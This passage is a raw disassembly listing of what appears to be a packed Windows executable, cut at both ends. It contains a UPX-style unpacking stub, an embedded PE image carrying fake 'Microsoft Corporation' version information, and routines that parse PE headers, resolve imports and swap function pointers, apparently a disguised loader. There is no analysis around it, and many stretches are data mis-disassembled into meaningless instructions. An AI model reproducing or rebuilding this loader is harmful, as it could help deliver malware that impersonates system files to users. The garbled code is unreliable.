0FEEFAE0Ah, 15FFFFC2h, 551F66F5h dd 0B9B30C0Fh, 2B8E5159h, 0A21DAA89h, 7D1320Eh, 6EDD3451h dd 0DF6E025Fh, 0A970C166h, 0ACB51D74h, 0AFFDB23h, 0DDFBBF02h dd 0F1639A5h, 2100B65h, 8A170904h, 73130309h, 0FF2E3474h dd 0F9F8823Bh, 4C20301h, 1C9C03F9h, 0B0D04659h, 0E2E05F70h dd 0B1FFFFFFh, 40D23257h, 1701A010h, 0DB140655h, 27879A0h dd 8007E5C2h, 2F4AF4EDh, 7FFF9B64h, 0A0C8DFFBh, 6447B541h dd 3F46F000h, 0D881BB1Bh, 0C201ECA7h, 54E4DF14h, 0FEEBC908h dd 10FFC5BFh, 614DEFBh, 0FB2CA4C2h, 185D280h, 2F08C2C5h dd 0BC50183Ch, 0D6FF60B3h, 0C27B0DFFh, 46F7B1B2h, 8073F3EBh dd 9BF71127h, 4D441B40h, 0C1817F17h, 4996E3DAh, 60752400h dd 411000BEh, 54BEDB00h, 0FE058DB4h, 0FFCD8357h, 0C400904Bh dd 8A1E0A2Dh, 1874606h, 0BFF7B0DBh, 831EB104h, 0DB11FCEEh dd 37B8ED72h, 0BEC1FF11h, 0CC0111Dh, 975EF73h, 31E4730Eh dd 3E883C9h, 235DFD72h, 3DE10D80h, 74FFF083h, 64C58974h dd 2F81D84Fh, 20750CC9h, 0FB7F1C41h, 834C2C27h, 0FD8102C1h dd 8395F300h, 148D01D1h, 6BBEA62Fh, 0FCFD83FDh, 338A0F76h dd 0F7754994h, 510563E9h, 0EE052C2Ch, 0F6893F83h, 5B4BFFBBh dd 4E98304h, 0CF01F177h dd 5E164CE9h, 4EB9F789h, 0FFFFA904h, 298ADBFFh, 13CE82Ch dd 3F80F777h, 8BF27505h, 45F8A07h, 8E8C166h, 8610C0C1h dd 0BDF46EC4h, 3CF829C4h, 3BF001E8h, 0D9E23605h, 0EB5BF6FBh dd 23DD90FFh, 4574C009h, 848D278Bh, 0ADEDB430h, 1BB7EDBh dd 81F50F3h, 0B91896FFh, 84E950Bh, 8B6DE01Dh, 79F93A5Bh dd 500BB73Dh, 0B33BB947h, 0A977516Dh, 371C1D55h, 76878907h dd 8303FDB3h, 0D8EB04C3h, 0AE8B2410h, 0FF560520h, 0F09620A6h dd 545093BBh, 5753046Ah, 6FEDD5FFh, 878DE2A2h, 7F208C0Fh dd 7F286080h, 0A8DF1558h, 1450BD4Ah, 6A80451Eh, 0B2AA3900h dd 75C4FFC2h, 80EC83FAh, 0FEAD67E9h, 9A3A0099h, 5042EC1h dd 0E303003h, 0E9A69A6Ch, 0E010A007h, 0D3012018h, 2FAC2C6Dh dd 501F015Ah, 4D9231CEh, 0A9007802h, 2DDB0008h, 640B68BBh dd 0E424E8C1h, 6E427704h, 9027D9DFh, 2827C44Bh, 0AC21BB01h dd 0B8A0EABBh, 7C3FD067h, 42B7D8C5h, 0AF00222Eh, 6C913FF8h dd 1104396h, 0DB02B4A4h, 387902E6h, 0C85C5001h, 83BA567Fh dd 9160203Bh, 40033BCFh, 0C5821D81h, 2301829h, 33BA4DEEh dd 1800680h, 0CFBDD208h, 700C0B5h, 602FF11h, 7D200FFFh dd 0FF12016Fh, 787787C1h, 20C8EB59h, 87FF8F88h, 73E5C80Eh dd 0A07A77F6h, 7708780Fh, 4DDDB0ABh, 2077DF76h, 0EEBB0F8Fh dd 0F7870820h, 0B92FF92Fh, 77E7BE0Fh, 0BEFA777Fh, 0F8777077h dd 0CDC83C9Ch, 0CC4CE708h, 77F0A0C4h, 20FFE447h, 8E87A8Fh dd 88087844h, 0EBAA7788h, 0CFEFF777h, 44C07DBDh, 8A190748h dd 5F52BBAEh, 0F4404F0h, 95AD74FDh, 0F3720EEh, 0BBEB7870h dd 0FFDD6AB5h, 8878883Eh, 0F047F87h, 8E0F88EAh, 0ADB5CFB7h dd 2187DFDEh, 0F87004Fh, 76FC788Fh, 8246B58h, 0F73F70F1h dd 0FFFF0887h, 0CE6BB73Dh, 8FD87600h, 0EF3F0F70h, 0AE75BBh dd 26F0983Eh, 4F004488h, 0FD83370Fh, 0F4086D0Fh, 6C6676E7h dd 0FE000FCCh, 0D81B6677h, 0EF66903Bh, 0D201F20h, 1FD81BD8h dd 67E0F20h, 20EC06F6h, 0F20770Fh, 0F602CB7Eh, 8F0F20h dd 8766FF08h, 0D3B84C20h, 60C7BB00h, 88FE0FC3h, 7FC02723h dd 0FFD4A258h, 3FC01FFCh, 1FC007F0h, 310303E0h, 0F24E43C0h dd 3CE95h, 0D9320000h, 36019DC9h, 408003F2h, 7E5CD96h dd 0F3E30FC2h, 0BC67FF80h, 24C00E65h, 0EB94481Fh, 80E42210h dd 802034h, 9861F6FEh, 75FC270h, 87007007h, 0BFE0BEF7h dd 775979BCh, 8708770h, 0C077E88Ah, 0EB8E0777h, 9B8DB634h dd 0F80FC77Fh, 0CC178835h, 0E87F9CCEh, 0FC0E2D28h, 0F88F074Dh dd 0DEE070Fh, 80462FC7h, 0C766470Fh, 764E2000h, 88D97C67h dd 8F88F7FCh, 7E747h, 4744448Fh, 675EF735h, 8F6D10F8h dd 830D8AC1h, 161DD3B7h, 0E0FB03C2h, 0A2C5F003h, 0FEFC483Bh dd 0DD95B801h, 685CE077h, 10202906h, 0EDF5071Dh, 10106CC0h dd 5010030Dh, 0EE959441h, 8FF72DEEh, 53552B34h, 45055F00h dd 0FE095200h, 49FBAEB9h, 4E004F00h, 4605490Fh, 4BD000Bh dd 4D64FEEFh, 343F676h, 0AB3F0700h, 0DEC26F76h, 12001104h dd 744F75h, 2825506Dh, 7667A9FBh, 4DCDEE6Fh, 65006C07h dd 660D59h, 1EE236Fh, 706DD7B9h, 39033415h, 5BBA8307h dd 4C91FDD7h, 43171600h, 0CF6D23h, 0B9792F61h, 8DEBAC6Eh dd 5B650D61h, 5763494Dh, 0B75D6333h, 6603731Fh, 722D2063h dd 0BAEE6605h, 691161EEh, 724B6E09h, 7F7B2900h, 561DD733h dd 1D357203h, 2E003500h, 0DDDD63CDh, 32033100h, 30813600h dd 38003109h, 75D63720h, 5178731Dh, 55F0373h, 37F60732h dd 5B725D73h, 27B5256Dh, 332D0033h, 375EEB9Fh, 52290D35h dd 0E773071Dh, 7580D874h, 916E6F63h, 0A577C16Ch, 0D8BF9A11h dd 3E2F1B6Bh, 294F0B00h, 877B26C9h, 0B32F2D67h, 2375376Eh dd 2357B82Ch, 2EA94BA3h, 84545805h, 3F03CFE6h, 5025006Ah dd 0D0943711h, 1B7557B0h, 0DDAE2F74h, 58DDC8C3h, 11646957h dd 4F730077h, 21E1AE3Fh, 20B36549h, 841D79C1h, 0C77D8DECh dd 0AB3A4B6Dh, 612B136Bh, 0F9535524h, 0E9DD30Ch, 612D4439h dd 2CFB1B0Dh, 24D7ADh, 4F6E8154h, 0A1096FE5h, 941C96Ch dd 4804B004h, 0D42FEA98h, 73613CFFh, 626D6573h, 7920796Ch dd 223D736Eh, 7FE07275h, 637B176Bh, 2D181368h, 7263696Dh dd 666F736Fh, 0DEDD43h, 3A6D6F16h, 7E2E6D10h, 37D5BFDAh dd 66696E19h, 6556AC65h, 6F697372h, 3B0D326Eh, 8084A194h dd 8C0F6D4Bh, 44BF8742h, 211867C9h, 3CC0E69h, 932C5113h dd 5E9A4866h, 743C6934h, 65375Dh, 3821774h, 34A22392h dd 0B08360C8h, 7F34BE07h, 0E682A8C0h, 4441000Eh, 6B504156h dd 49B8002Fh, 55007E0Ch, 0F80A1A53h, 5707C9A7h, 395F3253h dd 4C64616Fh, 77600169h, 47CD3100h, 69BFBD65h, 0FA4AD533h dd 7269E973h, 6C617574h, 77B40025h, 63657413h, 2FDE0F74h dd 3BBB8034h, 4E676552h, 79654B0Ch, 437FCD25h, 707377FFh dd 746E6972h, 0A8484166h, 5003FCECh, 4000416Ah, 2D004147h dd 4689F8DAh, 4A475342h, 2A4752BDh, 9F1456FEh, 67736266h dd 4A974A5Ch, 62C605FFh, 4120666Ah, 0AB505C47h, 8F676188h dd 498DF7F6h, 62766697h, 62791961h, 0FB6B0874h, 66B4515Ch dd 2C43C113h, 19508A03h, 83085CAFh, 0A9B8C276h, 40D7B0E2h dd 5F171083h, 0E6931557h, 9C1B1938h, 3E417EDBh, 110FD407h dd 32D3316h, 981C80E5h, 1B09D81Fh, 0B9800001h, 3500031Dh dd 0C8A20600h, 0B66900BEh, 0F429100Bh, 0E0EC0322h, 0A69A69A6h dd 0ACB8C4D4h, 69A69AA0h, 7488949Ah, 694C5C68h, 4469A69Ah dd 14243038h, 0A6CB34D3h, 0E821F408h, 0D34DD0DCh, 0B8C44D34h dd 8C94A0A8h, 34D34D34h, 5C687884h, 4D34D350h, 203044D3h dd 69A60414h, 20F8659Ah, 0D4DCE4F0h, 9A69A645h, 0A0B0B8C8h dd 5C2C0000h, 4104D778h, 30C59h, 0E07FA2C0h, 0A4004015h dd 51060B16h, 3A000259h, 74428002h, 0AB72FAA2h, 491014DFh dd 0DA654473h, 2CDF552Eh, 50726567h, 186E6575h, 0FF737E01h dd 614856A9h, 656C646Eh, 7461150Ch, 2A694665h, 0BDB7DB7h dd 736C0C41h, 6E087274h, 0FBFBD909h, 6954AB97h, 6F436B63h dd 72573175h, 0FD2F2369h, 0A66AA4DDh, 6C745228h, 69776E55h dd 0AC4542B6h, 1C8F334Ch, 9554BD6Dh, 6FD0980Ah, 6FB67972h dd 635283CDh, 324C7461h, 6C416C61h, 0D6B6637Ch, 460BC1B5h dd 35535025h, 0A6840h, 648DC7B7h, 70557845h, 0C2B71074h dd 476BE6DAh, 6C191C72h, 0A2DB982h, 8BD072AAh db 85h, 65h ; --------------------------------------------------------------------------- loc_3E3F8A: ; CODE XREF: .data:003E3FF9j insd fist dword ptr [edx] push esp pop ss insd mov [ebp+75560205h], bl call far ptr 5BB6h:0C64C0081h test dword ptr [esp+esi*2], 65758056h push esi inc ecx sqrtps xmm5, oword ptr [esi+0AD6B09Dh] lodsd adc [edi+70h], ecx pop edx sub eax, 0B669BAA0h inc ecx inc esp mov ds, word ptr [eax-1] test al, 2 rcl byte ptr [ebp+55A12FCh], 0 ; --------------------------------------------------------------------------- db 0Dh, 0FFh, 10h ; --------------------------------------------------------------------------- loc_3E3FC8: ; CODE XREF: .data:003E4004j mov word ptr [eax+3426Fh], es adc esp, [ebx] leave and [eax-4Bh], al pop edx adc [edi], al and [edi+6FDC105Ch], cl add esp, edi push esp add [bx+si-7C29h], edi mul byte ptr [eax+2457758h] pop edx pusha inc edi inc eax adc edi, [eax-3Dh] sbb al, 20h push esi db 2Eh jz short loc_3E405E js short loc_3E3F8A insb fsincos jp short loc_3E400C loc_3E4000: ; CODE XREF: sub_3E5546+B3p ; .data:00417DF9p ; DATA XREF: ... nop add eax, [edx+2Eh] ; CODE XREF: .data:003E4020j jb short loc_3E3FC8 and [edi+61836485h], dh loc_3E400C: ; CODE XREF: .data:003E3FFEj sti sub bh, [edx+6BC703C0h] sbb eax, cs:[edx] inc eax db 2Eh cmps byte ptr es:[esi], byte ptr es:[edi] add ch, dl and ch, bl add al, 4Bh loopne near ptr loc_3E4001+1 xchg ebx, [eax+2E5A94F9h] inc ebx push edx push esp jmp far ptr 6309h:0B2B5405Bh ; --------------------------------------------------------------------------- dw 0BD4Fh dd 0AA261309h, 54075313h, 2791BF3Dh, 5BD8AC13h, 4A000000h dd 9002Ah, 0FF00h, 6000BE60h, 0BE8D0040h, 0FFFFB000h db 57h, 83h ; --------------------------------------------------------------------------- loc_3E405E: ; CODE XREF: .data:003E3FF6j int 0FFh ; AT/XT286/PS50+ - destroyed by return from protected mode jmp short loc_3E4072 ; --------------------------------------------------------------------------- dw 9090h dd 90909090h ; --------------------------------------------------------------------------- loc_3E4068: ; CODE XREF: .data:loc_3E4079j mov al, [esi] inc esi mov [edi], al inc edi loc_3E406E: ; CODE XREF: .data:003E4106j ; .data:003E411Dj add ebx, ebx jnz short loc_3E4079 loc_3E4072: ; CODE XREF: .data:003E4060j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3E4079: ; CODE XREF: .data:003E4070j jb short loc_3E4068 mov eax, 1 loc_3E4080: ; CODE XREF: .data:003E408Fj ; .data:003E409Aj add ebx, ebx jnz short loc_3E408B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3E408B: ; CODE XREF: .data:003E4082j adc eax, eax add ebx, ebx jnb short loc_3E4080 jnz short loc_3E409C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3E4080 loc_3E409C: ; CODE XREF: .data:003E4091j xor ecx, ecx sub eax, 3 jb short loc_3E40B0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_3E4122 mov ebp, eax loc_3E40B0: ; CODE XREF: .data:003E40A1j add ebx, ebx jnz short loc_3E40BB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3E40BB: ; CODE XREF: .data:003E40B2j adc ecx, ecx add ebx, ebx jnz short loc_3E40C8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3E40C8: ; CODE XREF: .data:003E40BFj adc ecx, ecx jnz short loc_3E40EC inc ecx loc_3E40CD: ; CODE XREF: .data:003E40DCj ; .data:003E40E7j add ebx, ebx jnz short loc_3E40D8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_3E40D8: ; CODE XREF: .data:003E40CFj adc ecx, ecx add ebx, ebx jnb short loc_3E40CD jnz short loc_3E40E9 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_3E40CD loc_3E40E9: ; CODE XREF: .data:003E40DEj add ecx, 2 loc_3E40EC: ; CODE XREF: .data:003E40CAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_3E410C loc_3E40FD: ; CODE XREF: .data:003E4104j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_3E40FD jmp loc_3E406E ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- loc_3E410C: ; CODE XREF: .data:003E40FBj ; .data:003E4119j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_3E410C add edi, ecx jmp loc_3E406E ; --------------------------------------------------------------------------- loc_3E4122: ; CODE XREF: .data:003E40ACj pop esi mov edi, esi mov ecx, 34h loc_3E412A: ; CODE XREF: .data:003E4131j ; .data:003E4136j mov al, [edi] inc edi sub al, 0E8h loc_3E412F: ; CODE XREF: .data:003E4154j cmp al, 1 ja short loc_3E412A cmp byte ptr [edi], 0 jnz short loc_3E412A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov al, bl loop loc_3E412F lea edi, [esi+10000h] loc_3E415C: ; CODE XREF: .data:003E417Ej mov eax, [edi] or eax, eax jz short loc_3E41A7 mov ebx, [edi+4] lea eax, [eax+esi+128B4h] add ebx, esi push eax add edi, 8 call dword ptr [esi+12904h] xchg eax, ebp loc_3E4179: ; CODE XREF: .data:003E419Fj mov al, [edi] inc edi or al, al jz short loc_3E415C mov ecx, edi jns short near ptr loc_3E418A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_3E418A: ; CODE XREF: .data:003E4182j mov ecx, 0AEF24857h push ebp call dword ptr [esi+12908h] or eax, eax jz short loc_3E41A1 mov [ebx], eax add ebx, 4 jmp short loc_3E4179 ; --------------------------------------------------------------------------- loc_3E41A1: ; CODE XREF: .data:003E4198j call dword ptr [esi+12910h] loc_3E41A7: ; CODE XREF: .data:003E4160j mov ebp, [esi+1290Ch] lea edi, [esi-1000h] mov ebx, 1000h push eax push esp push 4 push ebx push edi call ebp lea eax, [edi+1F7h] and byte ptr [eax], 7Fh and byte ptr [eax+28h], 7Fh pop eax push eax push esp push eax push ebx push edi call ebp pop eax popa lea eax, [esp-80h] loc_3E41DB: ; CODE XREF: .data:003E41DFj push 0 cmp esp, eax jnz short loc_3E41DB sub esp, 0FFFFFF80h jmp near ptr 3D2FA0h ; --------------------------------------------------------------------------- align 4 dd 2Fh dup(0) dd 4, 40000h, 3, 80000030h, 0Eh, 800000A0h, 10h, 800000E0h dd 18h, 80000120h, 2 dup(0) dd 4, 20000h, 1, 80000050h, 2, 80000078h, 2 dup(0) dd 4, 10000h, 409h, 68h, 13164h, 2E8h, 4E4h, 3 dup(0) dd 4, 10000h, 409h, 90h, 13450h, 128h, 4E4h, 3 dup(0) dd 4, 10000h, 3EAh, 800000B8h, 2 dup(0) dd 4, 10000h, 409h, 0D0h, 1357Ch, 22h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 800000F8h, 2 dup(0) dd 4, 10000h, 409h, 110h, 135A4h, 2B4h, 4E4h, 3 dup(0) dd 4, 10000h, 1, 80000138h, 2 dup(0) dd 4, 10000h, 409h, 150h, 1385Ch, 56h, 4E4h, 0 dd 10160h, 28h, 20h, 40h, 40001h, 0 dd 200h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 0FFFFh, 0FFFFFFh, 4 dup(0) dd 78778700h, 0 dd 88000000h, 0 dd 0F8FF8F00h, 80h, 77880000h, 0A07Ah, 0F8FF8F00h, 78h dd 77770800h, 0B0AB7Ah, 0F8FF8F00h, 8077h, 77778F00h, 0EEBB7Ah dd 0F8FF8F00h, 7877h, 77F78708h, 0E7BE7Ah, 0F8FF8F00h dd 7877h, 777F7708h, 7077BEFAh, 0F8FF8F00h, 7877h, 0F8777708h dd 7077E708h, 0C4CC4C00h, 7877h, 0A0777708h, 707777F0h dd 0C4CC4C00h, 7847h, 0E87A7708h, 70777708h, 0C4CC4C00h dd 88087844h, 0EBAA7788h, 7077F777h, 0C0CC4C00h, 77074844h dd 0BBAE8A77h, 777F77h, 0F0FF8F00h, 77074404h, 0BBEE8A77h dd 0F77777h, 0F0FF8F08h, 77074470h, 0BBEB7877h, 707777h dd 87887888h, 0FF0F047Fh, 0BB88FFFFh, 807877h, 87778787h dd 8808F0FFh, 88888888h, 808788h, 7077788Fh, 8888h, 0 dd 708800h, 887F708h, 7707FFFFh, 77777777h, 800878h, 8708F00h dd 0FF0FFFFFh, 0FFFFFFFFh, 8078h, 0F00800h, 44448888h dd 4F444444h, 8078h, 800000h, 76E7F408h, 4FCC6C66h, 8078h dd 0 dd 77FEF408h, 4FCC6666h, 8078h, 0 dd 0E7EFF408h, 4F6C6676h, 8078h, 0 dd 0FEFEF408h, 4F666677h, 8078h, 0 dd 0EFEFF408h, 4F6676E7h, 8078h, 0 dd 0FE7EF408h, 4F6677FEh, 8078h, 0 dd 0EF77F408h, 4F76E7EFh, 8078h, 0 dd 7E77F408h, 4F77FEFEh, 8078h, 0 dd 4444F408h, 4F444444h, 8078h, 0 dd 0FFFFFF08h, 0FFFFFFFFh, 80F8h, 0 dd 77778700h, 77777777h, 8077h, 0 dd 88880800h, 88888888h, 8088h, 0FFFFFFC0h, 1FFC7FC0h dd 7F03FC0h, 3E01FC0h, 1C00FC0h, 18007C0h, 3 dup(8007C0h) dd 2 dup(0C0h), 2 dup(10000C0h), 3000080h, 3 dup(3000000h) dd 7000080h, 0F0000C2h, 0F0000E3h, 0F0080F3h, 9 dup(0F0080FFh) dd 0F00C0FFh, 1F00E0FFh, 10448h, 28h, 10h, 20h, 40001h dd 0 dd 80h, 5 dup(0) dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 0C0C0C0h dd 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh dd 0FFFFh, 0FFFFFFh, 0 dd 70000000h, 0F008h, 77A7708h, 70F008h, 0E0BEF787h, 77F008h dd 70877087h, 877F008h, 7077E88Ah, 777C008h, 707FEB8Eh dd 0FC7C008h, 8877BBF8h, 8CCF008h, 78888887h, 0FC8008h dd 7000000h, 70FF88Fh, 80777777h, 0F808808h, 80C76647h dd 0FFF0800h, 8067764Eh, 8F880000h, 8067E747h, 8F000000h dd 80474444h, 8F000000h, 80F7FFFFh, 8000000h, 80888888h dd 0C18Fh, 8087h, 83h, 6 dup(80h), 0 dd 80h, 0E0h, 0F0h, 2 dup(0FCh), 1FEh, 10570h, 10000h dd 20200002h, 10010h, 2E80004h, 10000h, 101010h, 40001h dd 128h, 41500002h, 10594h, 3402B4h, 560000h, 5F0053h dd 450056h, 530052h, 4F0049h, 5F004Eh, 4E0049h, 4F0046h dd 0 dd 0FEEF04BDh, 2 dup(10000h), 0 dd 10000h, 0 dd 3Fh, 0 dd 40004h, 1, 3 dup(0) dd 212h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 1EEh, 300001h, 300034h, 300039h, 450034h dd 34h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh dd 65006Dh, 0 aMicrosoftCorpo: unicode 0, <Microsoft Corporation>,0 aR: unicode 0, <r)> dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a5_1_2600_2180X: unicode 0, <5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)>,0 align 4 a0: unicode 0, <0> dw 8 dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 720077h, 69006Bh, 73006Eh, 74h, 0C0040h, 4F0001h dd 690072h, 690067h, 61006Eh, 46006Ch, 6C0069h, 6E0065h dd 6D0061h, 65h, 520057h, 49004Bh, 53004Eh, 2E0054h, 580045h dd 45h, 25006Ah, 500001h, 6F0072h, 750064h, 740063h, 61004Eh dd 65006Dh, 0 aMicrosoft: unicode 0, <Microsoft> dw 0AEh aWindows: unicode 0, < Windows> dw 0AEh db ' ',0 aOperatingSyste: unicode 0, <Operating System>,0 align 4 unicode 0, <:> dw 0Bh dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2E0035h, 2E0031h, 360032h, 300030h, 30002Eh dd 0 dd 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h, 6F0066h dd 0 dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h dd 6E006Fh, 0 dd 4B00409h, 10848h, 7373613Ch, 6C626D65h, 6D782079h, 3D736E6Ch dd 6E727522h, 6863733Ah, 73616D65h, 63696D2Dh, 6F736F72h dd 632D7466h, 613A6D6Fh, 762E6D73h, 6D202231h, 66696E61h dd 56747365h, 69737265h, 223D6E6Fh, 22302E31h, 3C0A0D3Eh dd 7373612Fh, 6C626D65h, 41503E79h, 3 dup(0) dd 13928h, 13904h, 3 dup(0) dd 13935h, 13918h, 3 dup(0) dd 13942h, 13920h, 5 dup(0) dd 1394Eh, 1395Ch, 1396Ch, 1397Ch, 0 dd 1398Ah, 0 dd 800002A8h, 0 aKernel32_dll_3 db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aShell32_dll db 'SHELL32.dll',0 align 10h aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aVirtualprotect db 'VirtualProtect',0 align 2 aExitprocess_0 db 'ExitProcess',0 align 4 aRegclosekey_0 db 'RegCloseKey',0 unicode 0, <H>,0 dd 0Eh dup(0) dd offset dword_40E000 dd offset dword_40D7B0 dd 3, 8 dup(0) dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0C8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 1489CBA0h, 3 dup(47E7AAE4h), 47BAA527h, 47E7AAE7h, 47E6AAE4h dd 47E7AAEDh, 479A6CC3h, 47E7AAE9h, 479B6CC3h, 47E7AAE5h dd 479F6CC3h, 47E7AAE5h, 68636952h, 47E7AAE4h, 2 dup(0) dd 4550h, 4014Ch, 496DE283h, 2 dup(0) dd 10300E0h, 8010Bh, 1200h, 34600h, 0 dd 1655h, 1000h, 3000h, 3E0000h, 1000h, 200h, 4, 0 dd 4, 0 dd 39000h, 400h, 12278h, 2, 100000h, 1000h, 100000h, 1000h dd 0 dd 10h, 2 dup(0) dd 3080h, 28h, 38000h, 2E0h, 12h dup(0) dd 3000h, 28h, 6 dup(0) a_text db '.text',0 align 4 dd 1093h, 1000h, 1200h, 400h, 3 dup(0) dd 60000020h, 6164722Eh, 6174h, 16Ch, 3000h, 200h, 1600h dd 3 dup(0) dd 40000040h, 7461642Eh, 61h, 33EB0h, 4000h, 8C00h, 1800h dd 3 dup(0) dd 0C0000040h, 7273722Eh, 63h, 2E0h, 38000h, 400h, 0A400h dd 3 dup(0) dd 40000040h, 68h dup(0) ; =============== S U B R O U T I N E ======================================= sub_3E50A0 proc near ; CODE XREF: sub_3E5546+122p ; sub_3E5546+168p push ebp push esp pop ebp push ecx push ecx mov eax, [ebp+8] mov [ebp-8], eax push dword ptr [ebp-8] pop eax mov ecx, [ebp-8] add ecx, [eax+3Ch] mov [ebp-4], ecx push dword ptr [ebp-4] pop eax leave retn sub_3E50A0 endp ; =============== S U B R O U T I N E ======================================= sub_3E50BE proc near ; CODE XREF: sub_3E5546+14Ap push ebp push esp pop ebp push ecx push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_3E5EBA add esp, 0Ch lea eax, [ebp-4] push eax push 2 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call dword_417E90 leave retn sub_3E50BE endp ; --------------------------------------------------------------------------- db 0CCh dd 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jz short loc_3E5104 mov eax, [ebp+8] cmp eax, dword_3ECAEC jnz short loc_3E510C loc_3E5104: ; CODE XREF: .data:003E50F7j mov eax, dword_3ECAE8 mov [ebp+8], eax loc_3E510C: ; CODE XREF: .data:003E5102j push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call dword_3ECAE0 pop ebp retn 0Ch ; --------------------------------------------------------------------------- aUtG db 'UT]ƒ}',8,0 dw 0C74h dd 580875FFh, 0CAEC053Bh, 0A75003Eh, 0CAE835FFh, 8958003Eh dd 75FF0845h, 0C75FF10h, 0FF0875FFh, 3ECAE415h, 0CC25D00h db 0 ; =============== S U B R O U T I N E ======================================= sub_3E5151 proc near ; CODE XREF: sub_3E51D6+FBp push ebp push esp pop ebp push ecx push dword ptr [ebp+10h] push dword ptr [ebp+8] call dword_3E3000 mov [ebp-4], eax push offset dword_3E3030 push dword ptr [ebp+0Ch] call sub_3E5FAC pop ecx pop ecx test eax, eax jnz short loc_3E51BD push offset dword_3E3040 push dword ptr [ebp+10h] call sub_3E5F2A pop ecx pop ecx test eax, eax jnz short loc_3E519A push dword ptr [ebp-4] pop eax mov dword_3ECAE0, eax mov eax, offset dword_3E1050 jmp short locret_3E51C0 ; --------------------------------------------------------------------------- loc_3E519A: ; CODE XREF: sub_3E5151+37j push offset dword_3E3054 push dword ptr [ebp+10h] call sub_3E5F2A pop ecx pop ecx test eax, eax jnz short loc_3E51BD mov eax, [ebp-4] mov dword_3ECAE4, eax push offset byte_3E107F pop eax jmp short locret_3E51C0 ; --------------------------------------------------------------------------- loc_3E51BD: ; CODE XREF: sub_3E5151+24j ; sub_3E5151+5Aj mov eax, [ebp-4] locret_3E51C0: ; CODE XREF: sub_3E5151+47j ; sub_3E5151+6Aj leave retn sub_3E5151 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E51C2 proc near ; CODE XREF: sub_3E51D6+B2p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] pop eax and eax, 80000000h neg eax sbb eax, eax neg eax pop ebp retn sub_3E51C2 endp ; =============== S U B R O U T I N E ======================================= sub_3E51D6 proc near ; CODE XREF: sub_3E5546+17Dp push ebp push esp pop ebp sub esp, 24h push 0 call dword_3E3008 mov dword_3ECAE8, eax mov eax, [ebp+0Ch] mov dword_3ECAEC, eax push dword ptr [ebp+8] pop eax add eax, 80h mov [ebp-8], eax mov eax, [ebp-8] push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax add ecx, [eax] mov [ebp-4], ecx loc_3E520D: ; CODE XREF: sub_3E51D6+133j push dword ptr [ebp-4] pop eax cmp dword ptr [eax+0Ch], 0 jz locret_3E530E and dword ptr [ebp-0Ch], 0 and dword ptr [ebp-10h], 0 mov eax, [ebp-4] push dword ptr [ebp+0Ch] pop ecx add ecx, [eax+0Ch] mov [ebp-1Ch], ecx push dword ptr [ebp-1Ch] call dword_3E3004 mov [ebp-18h], eax mov eax, [ebp-4] cmp dword ptr [eax+4], 0 jnz short loc_3E5259 push dword ptr [ebp-4] pop eax push eax push dword ptr [ebp+0Ch] pop eax mov ecx, eax pop eax add ecx, [eax+10h] mov [ebp-0Ch], ecx jmp short loc_3E5266 ; --------------------------------------------------------------------------- loc_3E5259: ; CODE XREF: sub_3E51D6+6Dj push dword ptr [ebp-4] pop eax push dword ptr [ebp+0Ch] pop ecx add ecx, [eax] mov [ebp-0Ch], ecx loc_3E5266: ; CODE XREF: sub_3E51D6+81j push dword ptr [ebp-4] pop eax push dword ptr [ebp+0Ch] pop ecx add ecx, [eax+10h] mov [ebp-14h], ecx loc_3E5274: ; CODE XREF: sub_3E51D6+125j mov eax, [ebp-0Ch] cmp dword ptr [eax], 0 jz loc_3E5300 push dword ptr 